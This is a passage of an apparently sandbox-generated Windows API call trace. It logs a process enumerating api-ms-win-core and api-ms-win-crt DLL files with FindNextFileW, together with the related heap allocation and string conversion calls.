RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.131] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x24c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.132] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x24c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.132] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x24c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.132] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.132] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x24c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0185.132] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.133] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x24c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.133] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x24c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.133] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x24c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0185.133] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.133] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.133] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x24c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.134] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x24c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.134] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x24c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.134] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.134] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.134] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.134] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.135] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, 